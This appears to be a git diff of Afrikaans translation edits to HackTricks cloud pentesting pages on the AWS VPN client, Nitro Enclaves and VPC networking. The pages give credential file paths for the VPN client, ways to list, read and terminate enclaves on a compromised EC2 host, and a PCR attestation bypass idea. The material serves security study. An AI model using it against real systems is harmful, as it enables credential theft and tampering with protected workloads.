toepassings. Boonop verseker die Nitro Security Chip spesifiek die **veiligheid van die hardeware en firmware**, wat sy robuuste argitektuur verder versterk. +AWS Nitro is 'n suite van **innoverende tegnologieë** wat die onderliggende platform vir AWS EC2-instanties vorm. Ingevoerd deur Amazon om **veiligheid, prestasie en betroubaarheid** te **verbeter**, benut Nitro pasgemaakte **hardeware-komponente en 'n liggewig hypervisor**. Dit abstraheer baie van die tradisionele virtualisering funksionaliteit na toegewyde hardeware en sagteware, **minimaliseer die aanvaloppervlak** en verbeter hulpbron doeltreffendheid. Deur virtualisering funksies af te laai, laat Nitro EC2-instanties toe om **naby bare-metal prestasie** te lewer, wat dit veral voordelig maak vir hulpbron-intensiewe toepassings. Boonop verseker die Nitro Security Chip spesifiek die **veiligheid van die hardeware en firmware**, wat sy robuuste argitektuur verder versterk. Kry meer inligting en hoe om dit te enumereer vanaf: @@ -259,7 +259,7 @@ aws-nitro-enum.md - Gewoonlik gebruik vir gereelde, langtermynverbindinge en word gefaktureer op grond van die hoeveelheid data wat oor die verbinding oorgedra word. 4. **Kliënt VPN Eindpunt**: - 'n Kliënt VPN eindpunt is 'n hulpbron wat jy in AWS skep om kliënt VPN-sessies te aktiveer en te bestuur. -- Dit word gebruik om individuele toestelle (soos skootrekenaars, slimfone, ens.) veilig te laat aansluit op AWS-hulpbronne of jou on-premises netwerk. +- Dit word gebruik om individuele toestelle (soos skootrekenaars, slimfone, ens.) veilig te laat aansluit by AWS-hulpbronne of jou on-premises netwerk. - Dit verskil van Site-to-Site VPN in die sin dat dit ontwerp is vir individuele kliënte eerder as om hele netwerke te verbind. - Met Kliënt VPN gebruik elke kliënttoestel 'n VPN-kliënt sagteware om 'n veilige verbinding te vestig. @@ -291,17 +291,17 @@ aws ec2 describe-vpn-connections ``` ### Plaaslike Enumerasie -**Plaaslike Tydelike Kredensiale** +**Plaaslike Tydelike Krediete** -Wanneer AWS VPN-kliënt gebruik word om met 'n VPN te verbind, sal die gebruiker gewoonlik **in AWS aanmeld** om toegang tot die VPN te verkry. Dan, word daar **AWS-kredensiale geskep en plaaslik gestoor** om die VPN-verbinding te vestig. Hierdie kredensiale word **gestoor in** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` en bevat 'n **AccessKey**, 'n **SecretKey** en 'n **Token**. +Wanneer AWS VPN-kliënt gebruik word om met 'n VPN te verbind, sal die gebruiker gewoonlik **in AWS aanmeld** om toegang tot die VPN te verkry. Dan word daar **AWS-krediete geskep en plaaslik gestoor** om die VPN-verbinding tot stand te bring. Hierdie krediete word **gestoor in** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` en bevat 'n **AccessKey**, 'n **SecretKey** en 'n **Token**. -Die kredensiale behoort aan die gebruiker `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: navorsing oor die toestemmings van hierdie kredensiale). +Die krediete behoort aan die gebruiker `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: navorsing oor die toestemmings van hierdie krediete). **opvn konfigurasie lêers** -As 'n **VPN-verbinding gevestig is**, moet jy soek na **`.opvn`** konfigurasie lêers in die stelsel. Boonop, een plek waar jy die **konfigurasies** kan vind is in **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** +As 'n **VPN-verbinding tot stand gebring is**, moet jy soek na **`.opvn`** konfigurasie lêers in die stelsel. Boonop, een plek waar jy die **konfigurasies** kan vind, is in **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** -#### **Post Exploitatie** +#### **Post Exploitaiton** {{#ref}} ../../aws-post-exploitation/aws-vpn-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index 604d75a66..76f078352 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -2,18 +2,18 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Basiese Inligting -AWS Nitro is 'n suite van **innovatiewe tegnologieë** wat die onderliggende platform vir AWS EC2-instanties vorm. Ingevoerd deur Amazon om **veiligheid, prestasie en betroubaarheid** te **verbeter**, benut Nitro op maat gemaakte **hardeware-komponente en 'n liggewig hypervisor**. Dit abstraheer baie van die tradisionele virtualisering funksionaliteit na toegewyde hardeware en sagteware, **minimaliseer die aanvaloppervlak** en verbeter hulpbron doeltreffendheid. Deur virtualisering funksies af te laai, laat Nitro EC2-instanties toe om **naby bare-metal prestasie** te lewer, wat dit veral voordelig maak vir hulpbron-intensiewe toepassings. Boonop verseker die Nitro Security Chip spesifiek die **veiligheid van die hardeware en firmware**, wat sy robuuste argitektuur verder versterk. +AWS Nitro is 'n suite van **innoverende tegnologieë** wat die onderliggende platform vir AWS EC2-instanties vorm. Ingevoerd deur Amazon om **veiligheid, prestasie en betroubaarheid** te **verbeter**, benut Nitro op maat gemaakte **hardewarekomponente en 'n liggewig hypervisor**. Dit abstraheer baie van die tradisionele virtualisering funksionaliteit na toegewyde hardeware en sagteware, **minimaliseer die aanvaloppervlak** en verbeter hulpbron doeltreffendheid. Deur virtualisering funksies af te laai, laat Nitro EC2-instanties toe om **naby bare-metal prestasie** te lewer, wat dit veral voordelig maak vir hulpbron-intensiewe toepassings. Boonop verseker die Nitro Veiligheidschip spesifiek die **veiligheid van die hardeware en firmware**, wat sy robuuste argitektuur verder versterk. ### Nitro Enclaves -**AWS Nitro Enclaves** bied 'n veilige, **geïsoleerde rekenaaromgewing binne Amazon EC2-instanties**, spesifiek ontwerp vir die verwerking van hoogs sensitiewe data. Deur die AWS Nitro-stelsel te benut, verseker hierdie enclaves robuuste **isolasie en veiligheid**, ideaal vir **die hantering van vertroulike inligting** soos PII of finansiële rekords. Hulle beskik oor 'n minimalistiese omgewing, wat die risiko van data blootstelling aansienlik verminder. Boonop ondersteun Nitro Enclaves kriptografiese attestering, wat gebruikers in staat stel om te verifieer dat slegs geautoriseerde kode loop, wat van kardinale belang is vir die handhawing van streng nakoming en databeskermingsstandaarde. +**AWS Nitro Enclaves** bied 'n veilige, **geïsoleerde rekenaaromgewing binne Amazon EC2-instanties**, spesifiek ontwerp vir die verwerking van hoogs sensitiewe data. Deur die AWS Nitro Stelsel te benut, verseker hierdie enclaves robuuste **isolasie en veiligheid**, ideaal vir **die hantering van vertroulike inligting** soos PII of finansiële rekords. Hulle beskik oor 'n minimalistiese omgewing, wat die risiko van data blootstelling aansienlik verminder. Boonop ondersteun Nitro Enclaves kriptografiese attestering, wat gebruikers in staat stel om te verifieer dat slegs geautoriseerde kode loop, wat van kardinale belang is vir die handhawing van streng nakoming en databeskeringsstandaarde. > [!CAUTION] -> Nitro Enclave-beelde word **van binne EC2-instanties uitgevoer** en jy kan nie vanaf die AWS-webkonsol sien of 'n EC2-instantie beelde in Nitro Enclave uitvoer of nie. +> Nitro Enclave beelde word **van binne EC2-instanties uitgevoer** en jy kan nie vanaf die AWS webkonsol sien of 'n EC2-instantie beelde in Nitro Enclave uitvoer of nie. -## Nitro Enclave CLI installation +## Nitro Enclave CLI installasie Volg al die instruksies [**uit die dokumentasie**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). Hierdie is egter die belangrikste: ```bash @@ -39,7 +39,7 @@ Die beelde wat jy in Nitro Enclave kan hardloop, is gebaseer op docker beelde, s # Or indicate the full docker image URL to access the image nitro-cli build-enclave --docker-uri : --output-file nitro-img.eif ``` -Soos jy kan sien, gebruik die Nitro Enclave beelde die uitbreiding **`eif`** (Enclave Image File). +Soos wat jy kan sien, gebruik die Nitro Enclave beelde die uitbreiding **`eif`** (Enclave Beeld Lêer). Die uitvoer sal soortgelyk lyk aan: ``` @@ -54,9 +54,9 @@ Enclave Image successfully created. } } ``` -### Run an Image +### Voer 'n Beeld uit -Soos per [**die dokumentasie**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), om 'n enclave beeld te laat loop, moet jy dit toewys met geheue van **ten minste 4 keer die grootte van die `eif` lêer**. Dit is moontlik om die standaard hulpbronne wat aan dit gegee moet word in die lêer te konfigureer. +Volgens [**die dokumentasie**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), om 'n enclave beeld uit te voer, moet jy dit toewys met geheue van **ten minste 4 keer die grootte van die `eif` lêer**. Dit is moontlik om die standaard hulpbronne wat aan dit gegee moet word in die lêer te konfigureer. ```shell /etc/nitro_enclaves/allocator.yaml ``` @@ -71,20 +71,20 @@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n # Indicate the CPUs and memory to give nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-mode --enclave-cid 16 ``` -### Enumerate Enclaves +### Enumereer Enklaves -As jy 'n EC2-gasheer kompromitteer, is dit moontlik om 'n lys van hardloopende enklave-beelde te kry met: +As jy 'n EC2-gasheer kompromitteer, is dit moontlik om 'n lys van hardloop enklave-beelde te kry met: ```bash nitro-cli describe-enclaves ``` -Dit is **nie moontlik om 'n shell** binne 'n lopende enklave-beeld te kry nie, omdat dit die hoofdoel van die enklave is, egter, as jy die parameter **`--debug-mode`** gebruik, is dit moontlik om die **stdout** daarvan te kry met: +Dit is **nie moontlik om 'n shell** binne 'n lopende enclave-beeld te kry nie, omdat dit die hoofdoel van die enclave is, egter, as jy die parameter **`--debug-mode`** gebruik, is dit moontlik om die **stdout** daarvan te kry met: ```shell ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID") nitro-cli console --enclave-id ${ENCLAVE_ID} ``` -### Terminate Enclaves +### Beëindig Enklaves -As 'n aanvaller 'n EC2-instantie kompromitteer, sal hy standaard nie in staat wees om 'n shell binne-in hulle te kry nie, maar hy sal in staat wees om hulle te **terminate** met: +As 'n aanvaller 'n EC2-instantie kompromitteer, sal hy standaard nie in staat wees om 'n shell binne-in hulle te kry nie, maar hy sal in staat wees om hulle te **beëindig** met: ```shell nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} ``` @@ -92,7 +92,7 @@ nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} Die enigste manier om te kommunikeer met 'n **enclave** wat 'n beeld uitvoer, is deur **vsocks**. -**Virtual Socket (vsock)** is 'n soketfamilie in Linux wat spesifiek ontwerp is om **kommunikasie** tussen virtuele masjiene (**VMs**) en hul **hypervisors**, of tussen VMs **selfs** te fasiliteer. Vsock stel doeltreffende, **bi-rigting kommunikasie** in staat sonder om op die gasheer se netwerkstapel te staatmaak. Dit maak dit moontlik vir VMs om te kommunikeer selfs sonder netwerk konfigurasies, **met 'n 32-bis Context ID (CID) en poortnommers** om verbindings te identifiseer en te bestuur. Die vsock API ondersteun beide stroom- en datagram soket tipes, soortgelyk aan TCP en UDP, wat 'n veelsydige hulpmiddel bied vir gebruikersvlak toepassings in virtuele omgewings. +**Virtual Socket (vsock)** is 'n soketfamilie in Linux wat spesifiek ontwerp is om **kommunikasie** tussen virtuele masjiene (**VMs**) en hul **hypervisors**, of tussen VMs **selfs** te fasiliteer. Vsock stel doeltreffende, **bi-rigting kommunikasie** in staat sonder om op die gasheer se netwerkstapel te staatmaak. Dit maak dit moontlik vir VMs om te kommunikeer selfs sonder netwerk konfigurasies, **met 'n 32-bit Context ID (CID) en poortnommers** om verbindings te identifiseer en te bestuur. Die vsock API ondersteun beide stroom- en datagram soket tipes, soortgelyk aan TCP en UDP, wat 'n veelsydige hulpmiddel bied vir gebruikersvlak toepassings in virtuele omgewings. > [!TIP] > Daarom lyk 'n vsock adres soos volg: `:` @@ -126,7 +126,7 @@ Om **CIDs** van die enclave wat beelde uitvoer te vind, kan jy eenvoudig die vol
> [!WARNING] -> Let daarop dat daar vanaf die gasheer geen manier is om te weet of 'n CID enige poort blootstel nie! Tensy jy 'n **vsock poort skandeerder soos** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner) gebruik. +> Let daarop dat daar van die gasheer af geen manier is om te weet of 'n CID enige poort blootstel nie! Tensy jy 'n **vsock poort skandeerder soos** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner) gebruik. ### Vsock Server/Listener @@ -191,16 +191,14 @@ s.connect((CID, PORT)) s.sendall(b"Hello, world!") s.close() ``` -```markdown
-``` ```bash # Using socat echo "Hello, vsock!" | socat - VSOCK-CONNECT:3:5000 ``` ### Vsock Proxy -Die hulpmiddel vsock-proxy stel in staat om 'n vsock-proxy met 'n ander adres te proxy, byvoorbeeld: +Die hulpmiddel vsock-proxy laat jou toe om 'n vsock-proxy met 'n ander adres te proxy, byvoorbeeld: ```bash vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml ``` @@ -214,28 +212,28 @@ Dit is moontlik om die vsock adresse (**`:`**) wat deur die EC2 gashe sudo ss -l -p -n | grep v_str v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3)) ``` -## Nitro Enclave Atestation & KMS +## Nitro Enclave Atestasie & KMS -Die Nitro Enclaves SDK laat 'n enclave toe om 'n **kriptografies geskrewe atestering dokument** van die Nitro **Hypervisor** aan te vra, wat **unieke metings** spesifiek vir daardie enclave insluit. Hierdie metings, wat **hashes en platform konfigurasie registers (PCRs)** insluit, word tydens die atestering proses gebruik om die **identiteit van die enclave te bewys** en **vertroue met eksterne dienste te bou**. Die atestering dokument bevat tipies waardes soos PCR0, PCR1, en PCR2, wat jy voorheen teëgekom het toe jy 'n enclave EIF gebou en gestoor het. +Die Nitro Enclaves SDK laat 'n enclave toe om 'n **kriptografies geskrewe atestasiedokument** van die Nitro **Hypervisor** aan te vra, wat **unieke metings** spesifiek vir daardie enclave insluit. Hierdie metings, wat **hashes en platformkonfigurasie registre (PCRs)** insluit, word tydens die atestasieproses gebruik om die **identiteit van die enclave te bewys** en **vertroue met eksterne dienste te bou**. Die atestasiedokument bevat tipies waardes soos PCR0, PCR1, en PCR2, wat jy voorheen teëgekom het toe jy 'n enclave EIF gebou en gestoor het. Van die [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), is dit die PCR waardes: -
PCRHash van ...Beskrywing
PCR0Enclave beeld lêer‘n Aaneengeskakelde meting van die inhoud van die beeld lêer, sonder die afdeling data.
PCR1Linux kern en bootstrap‘n Aaneengeskakelde meting van die kern en boot ramfs data.
PCR2Toepassing‘n Aaneengeskakelde, in-volgorde meting van die gebruiker toepassings, sonder die boot ramfs.
PCR3IAM rol toegeken aan die ouer instansie‘n Aaneengeskakelde meting van die IAM rol toegeken aan die ouer instansie. Verseker dat die atestering proses slegs slaag wanneer die ouer instansie die korrekte IAM rol het.
PCR4Instansie ID van die ouer instansie‘n Aaneengeskakelde meting van die ID van die ouer instansie. Verseker dat die atestering proses slegs slaag wanneer die ouer instansie 'n spesifieke instansie ID het.
PCR8Enclave beeld lêer onderteken sertifikaat‘n Meting van die onderteken sertifikaat gespesifiseer vir die enclave beeld lêer. Verseker dat die atestering proses slegs slaag wanneer die enclave vanaf 'n enclave beeld lêer onderteken deur 'n spesifieke sertifikaat geboot is.
+
PCRHash van ...Beskrywing
PCR0Enclave beeldlêer‘n Aaneengeskakelde meting van die inhoud van die beeldlêer, sonder die afdelingdata.
PCR1Linux-kern en bootstrap‘n Aaneengeskakelde meting van die kern en boot ramfs data.
PCR2Toepassing‘n Aaneengeskakelde, in-volgorde meting van die gebruikers toepassings, sonder die boot ramfs.
PCR3IAM rol toegeken aan die ouer instansie‘n Aaneengeskakelde meting van die IAM rol toegeken aan die ouer instansie. Verseker dat die atestasieproses slegs slaag wanneer die ouer instansie die korrekte IAM rol het.
PCR4Instansie ID van die ouer instansie‘n Aaneengeskakelde meting van die ID van die ouer instansie. Verseker dat die atestasieproses slegs slaag wanneer die ouer instansie 'n spesifieke instansie ID het.
PCR8Enclave beeldlêer ondertekeningssertifikaat‘n Meting van die ondertekeningssertifikaat wat vir die enclave beeldlêer gespesifiseer is. Verseker dat die atestasieproses slegs slaag wanneer die enclave vanaf 'n enclave beeldlêer wat deur 'n spesifieke sertifikaat onderteken is, geboot is.
-Jy kan **kripto-grafiese atestering** in jou toepassings integreer en gebruik maak van voorafgeboude integrasies met dienste soos **AWS KMS**. AWS KMS kan **enclave atesterings valideer** en bied atestering-gebaseerde voorwaardesleutels (`kms:RecipientAttestation:ImageSha384` en `kms:RecipientAttestation:PCR`) in sy sleutelsbeleid. Hierdie beleid verseker dat AWS KMS operasies met die KMS sleutel **slegs toelaat as die enclave se atestering dokument geldig is** en aan die **gespesifiseerde voorwaardes** voldoen. +Jy kan **kriptografiese atestasie** in jou toepassings integreer en gebruik maak van voorafgeboude integrasies met dienste soos **AWS KMS**. AWS KMS kan **enclave atestasies valideer** en bied atestasie-gebaseerde voorwaardesleutels (`kms:RecipientAttestation:ImageSha384` en `kms:RecipientAttestation:PCR`) in sy sleutelsbeleid. Hierdie beleid verseker dat AWS KMS operasies met die KMS-sleutel **slegs toelaat as die enclave se atestasiedokument geldig is** en aan die **gespesifiseerde voorwaardes voldoen**. > [!TIP] -> Let daarop dat Enclaves in debug (--debug) modus atestering dokumente genereer met PCRs wat uit nulles bestaan (`000000000000000000000000000000000000000000000000`). Daarom sal KMS beleid wat hierdie waardes nagaan misluk. +> Let daarop dat Enclaves in debug (--debug) modus atestasiedokumente genereer met PCRs wat uit nulles bestaan (`000000000000000000000000000000000000000000000000`). Daarom sal KMS-beleid wat hierdie waardes nagaan, misluk. ### PCR Bypass -Van 'n aanvaller se perspektief, let daarop dat sommige PCRs dit moontlik maak om sekere dele of die hele enclave beeld te wysig en steeds geldig te wees (byvoorbeeld PCR4 kyk net na die ID van die ouer instansie, so om enige enclave beeld in daardie EC2 te draai sal hierdie potensiële PCR vereiste vervul). +Van 'n aanvaller se perspektief, let daarop dat sommige PCRs dit sou toelaat om sekere dele of die hele enclave beeld te wysig en steeds geldig te wees (byvoorbeeld PCR4 kyk net na die ID van die ouer instansie, so om enige enclave beeld in daardie EC2 te loop, sal hierdie potensiële PCR vereiste vervul). -Daarom mag 'n aanvaller wat die EC2 instansie kompromitteer in staat wees om ander enclave beelde te draai om hierdie beskermings te omseil. +Daarom mag 'n aanvaller wat die EC2 instansie kompromitteer, in staat wees om ander enclave beelde te loop om hierdie beskermings te omseil. Die navorsing oor hoe om nuwe beelde te wysig/te skep om elke beskerming te omseil (veral die nie so voor die hand liggende) is steeds TODO. -## References +## Verwysings - [https://medium.com/@F.DL/understanding-vsock-684016cf0eb0](https://medium.com/@F.DL/understanding-vsock-684016cf0eb0) - Alle dele van die Nitro tutoriaal van AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 4b461f842..e812c77e0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -1,53 +1,53 @@ -# AWS - VPC & Networking Basic Information +# AWS - VPC & Networking Basiese Inligting {{#include ../../../../banners/hacktricks-training.md}} -## AWS Networking in a Nutshell +## AWS Netwerk in 'n Neutskil 'n **VPC** bevat 'n **netwerk CIDR** soos 10.0.0.0/16 (met sy **routeringstabel** en **netwerk ACL**). Hierdie VPC-netwerk is verdeel in **subnetwerke**, so 'n **subnetwerk** is direk **verwant** aan die **VPC**, **routering** **tabel** en **netwerk ACL**. -Dan is **Netwerkinterfaces** wat aan dienste (soos EC2-instansies) geheg is, **verbonden** met die **subnetwerke** met **veiligheidsgroep(e)**. +Dan is **Netwerkinterfaces** wat aan dienste (soos EC2-instansies) gekoppel is, **verbonden** met die **subnetwerke** met **veiligheidsgroep(e)**. Daarom sal 'n **veiligheidsgroep** die blootgestelde poorte van die netwerk **interfaces wat dit gebruik**, **onafhanklik van die subnetwork** beperk. En 'n **netwerk ACL** sal die blootgestelde poorte tot die **hele netwerk** **beperk**. -Boonop, om **toegang tot die internet** te verkry, is daar 'n paar interessante konfigurasies om na te kyk: +Boonop, om **toegang tot die Internet** te verkry, is daar 'n paar interessante konfigurasies om na te kyk: - 'n **subnetwerk** kan **outomaties openbare IPv4-adresse toewys** - 'n **instansie** wat in die netwerk geskep is wat **outomaties IPv4-adresse toewys, kan een kry** -- 'n **Internet-gateway** moet aan die **VPC** **geheg** wees +- 'n **Internet-gateway** moet aan die **VPC** **gekoppel** wees - Jy kan ook **Egress-only internet gateways** gebruik -- Jy kan ook 'n **NAT-gateway** in 'n **privaat subnet** hê sodat dit moontlik is om **verbinding te maak met eksterne dienste** vanaf daardie privaat subnet, maar dit is **nie moontlik om hulle van buite te bereik** nie. +- Jy kan ook 'n **NAT-gateway** in 'n **privaat subnet** hê sodat dit moontlik is om **verbinding te maak met eksterne dienste** vanaf daardie private subnet, maar dit is **nie moontlik om hulle van buite te bereik** nie. - Die NAT-gateway kan **publiek** wees (toegang tot die internet) of **privaat** (toegang tot ander VPCs) ![](<../../../../images/image (274).png>) ## VPC -Amazon **Virtual Private Cloud** (Amazon VPC) stel jou in staat om **AWS-hulpbronne in 'n virtuele netwerk** te begin wat jy gedefinieer het. Hierdie virtuele netwerk sal verskeie subnetwerke, Internet-gateways om toegang tot die internet te verkry, ACLs, Veiligheidsgroepe, IP's hê... +Amazon **Virtuele Privaatsky** (Amazon VPC) stel jou in staat om **AWS-hulpbronne in 'n virtuele netwerk** te **ontplooi** wat jy gedefinieer het. Hierdie virtuele netwerk sal verskeie subnetwerke, Internet-gateways om toegang tot die Internet te verkry, ACLs, Veiligheidsgroepe, IPs... -### Subnets +### Subnetwerke -Subnetwerke help om 'n groter vlak van sekuriteit af te dwing. **Logiese groepe van soortgelyke hulpbronne** help jou ook om 'n **gemaklike bestuur** oor jou infrastruktuur te handhaaf. +Subnetwerke help om 'n groter vlak van sekuriteit af te dwing. **Logiese groepe van soortgelyke hulpbronne** help jou ook om 'n **gemak van bestuur** oor jou infrastruktuur te handhaaf. - Geldige CIDR is van 'n /16 netmask tot 'n /28 netmask. -- 'n Subnet kan nie in verskillende beskikbaarheidsgebiede terselfdertyd wees nie. -- **AWS reserveer die eerste drie gasthost IP-adresse** van elke subnet **vir** **interne AWS-gebruik**: die eerste gasthostadres wat gebruik word, is vir die VPC-router. Die tweede adres is gereserveer vir AWS DNS en die derde adres is gereserveer vir toekomstige gebruik. -- Dit word **publieke subnetwerke** genoem vir diegene wat **direkte toegang tot die internet het, terwyl private subnetwerke dit nie het nie.** +- 'n Subnet kan nie in verskillende beskikbaarheidsone op dieselfde tyd wees nie. +- **AWS reserveer die eerste drie gasheer IP-adresse** van elke subnet **vir** **interne AWS-gebruik**: die eerste gasheeradres wat gebruik word, is vir die VPC-router. Die tweede adres is gereserveer vir AWS DNS en die derde adres is gereserveer vir toekomstige gebruik. +- Dit word **publieke subnetwerke** genoem vir diegene wat **direkte toegang tot die Internet het, terwyl private subnetwerke dit nie het nie.**
-### Route Tables +### Routeringstabelle Routeringstabelle bepaal die verkeerroutering vir 'n subnet binne 'n VPC. Hulle bepaal watter netwerkverkeer na die internet of na 'n VPN-verbinding gestuur word. Jy sal gewoonlik toegang vind tot die: - Plaaslike VPC - NAT -- Internet-gateways / Egress-only Internet gateways (nodig om 'n VPC toegang tot die internet te gee). -- Om 'n subnet publiek te maak, moet jy 'n **Internet-gateway** **skep** en **heg** aan jou VPC. +- Internet-gateways / Egress-only Internet gateways (nodig om 'n VPC toegang tot die Internet te gee). +- Om 'n subnet publiek te maak, moet jy 'n **Internet-gateway** **skep** en **aanheg** aan jou VPC. - VPC-eindpunte (om toegang tot S3 vanaf private netwerke te verkry) In die volgende beelde kan jy die verskille in 'n standaard publieke netwerk en 'n private een nagaan: @@ -61,74 +61,74 @@ In die volgende beelde kan jy die verskille in 'n standaard publieke netwerk en **Netwerk Toegang Beheer Lyste (ACLs)**: Netwerk ACLs is firewall-reëls wat inkomende en uitgaande netwerkverkeer na 'n subnet beheer. Hulle kan gebruik word om verkeer na spesifieke IP-adresse of reekse toe te laat of te weier. - Dit is die mees algemene om toegang toe te laat/te weier met behulp van veiligheidsgroepe, maar dit is die enigste manier om gevestigde omgekeerde skulpies heeltemal te sny. 'n Gewysigde reël in 'n veiligheidsgroep stop nie reeds gevestigde verbindings nie. -- Dit geld egter vir die hele subnetwerk, wees versigtig wanneer jy goed verbied, want nodige funksionaliteit mag versteur word. +- Dit geld egter vir die hele subnetwerk, wees versigtig wanneer jy goed verbied omdat nodige funksionaliteit dalk versteur kan word. -### Security Groups +### Veiligheidsgroepe Veiligheidsgroepe is 'n virtuele **firewall** wat inkomende en uitgaande netwerk **verkeer na instansies** in 'n VPC beheer. Verhouding 1 SG tot M instansies (gewoonlik 1 tot 1).\ Gewoonlik word dit gebruik om gevaarlike poorte in instansies te open, soos poort 22 byvoorbeeld:
-### Elastic IP Addresses +### Elastiese IP Adresse -'n _Elastic IP-adres_ is 'n **statische IPv4-adres** wat ontwerp is vir dinamiese wolkrekenaars. 'n Elastic IP-adres word aan jou AWS-rekening toegeken, en is joune totdat jy dit vrystel. Deur 'n Elastic IP-adres te gebruik, kan jy die mislukking van 'n instansie of sagteware maskeer deur die adres vinnig na 'n ander instansie in jou rekening te herverdeel. +'n _Elastiese IP adres_ is 'n **statische IPv4 adres** ontwerp vir dinamiese wolkrekenaars. 'n Elastiese IP adres word aan jou AWS-rekening toegeken, en is joune totdat jy dit vrystel. Deur 'n Elastiese IP adres te gebruik, kan jy die mislukking van 'n instansie of sagteware maskeer deur die adres vinnig na 'n ander instansie in jou rekening te herverdeel. -### Connection between subnets +### Verbinding tussen subnetwerke Standaard het alle subnetwerke die **outomatiese toewysing van openbare IP-adresse afgeskakel**, maar dit kan aangeskakel word. **'n Plaaslike roete binne 'n routeringstabel stel kommunikasie tussen VPC-subnetwerke in staat.** -As jy 'n **subnet met 'n ander subnet verbind, kan jy nie die subnetwerke wat met die ander subnet verbind is, bereik nie; jy moet direk verbinding met hulle maak.** **Dit geld ook vir internet-gateways**. Jy kan nie deur 'n subnetverbinding gaan om toegang tot die internet te verkry nie; jy moet die internet-gateway aan jou subnet toewys. +As jy 'n **subnet met 'n ander subnet verbind, kan jy nie toegang verkry tot die subnetwerke wat met die ander subnet verbind is nie, jy moet direk verbinding met hulle maak.** **Dit geld ook vir internet-gateways**. Jy kan nie deur 'n subnetverbinding gaan om toegang tot die internet te verkry nie, jy moet die internet-gateway aan jou subnet toewys. ### VPC Peering -VPC-peering stel jou in staat om **twee of meer VPCs aan mekaar te verbind**, met behulp van IPV4 of IPV6, asof hulle deel van dieselfde netwerk is. +VPC-peering stel jou in staat om **twee of meer VPCs saam te verbind**, met behulp van IPV4 of IPV6, asof hulle deel van dieselfde netwerk is. Sodra die peerverbinding gevestig is, kan **hulpbronne in een VPC toegang verkry tot hulpbronne in die ander**. Die verbinding tussen die VPCs word deur die bestaande AWS-netwerkinfrastruktuur geïmplementeer, en is dus hoogs beskikbaar sonder enige bandwydte-bottlenecks. Aangesien **gepeerde verbindings werk asof hulle deel van dieselfde netwerk is**, is daar beperkings wanneer dit kom by jou CIDR-blokreekse wat gebruik kan word.\ As jy **oorlappende of duplikaat CIDR** reekse vir jou VPC het, dan **sal jy nie in staat wees om die VPCs** saam te peer nie.\ Elke AWS VPC sal **slegs met sy peer kommunikeer**. As 'n voorbeeld, as jy 'n peeringverbinding tussen VPC 1 en VPC 2 het, en 'n ander verbinding tussen VPC 2 en VPC 3 soos getoon, dan kan VPC 1 en 2 direk met mekaar kommunikeer, soos VPC 2 en VPC 3, maar VPC 1 en VPC 3 kan nie. **Jy kan nie deur een VPC roete om by 'n ander te kom nie.** -### **VPC Flow Logs** +### **VPC Stroomlogs** -Binne jou VPC kan jy potensieel honderde of selfs duisende hulpbronne hê wat tussen verskillende subnetwerke kommunikeer, beide publiek en privaat, en ook tussen verskillende VPCs deur VPC-peeringverbindinge. **VPC Flow Logs stel jou in staat om IP-verkeersinligting vas te vang wat tussen jou netwerkinterfaces van jou hulpbronne binne jou VPC vloei**. +Binne jou VPC kan jy potensieel honderde of selfs duisende hulpbronne hê wat tussen verskillende subnetwerke kommunikeer, beide publiek en privaat, en ook tussen verskillende VPCs deur VPC-peeringverbindinge. **VPC Stroomlogs stel jou in staat om IP-verkeersinligting vas te vang wat tussen jou netwerkinterfaces van jou hulpbronne binne jou VPC vloei**. -In teenstelling met S3-toeganglogs en 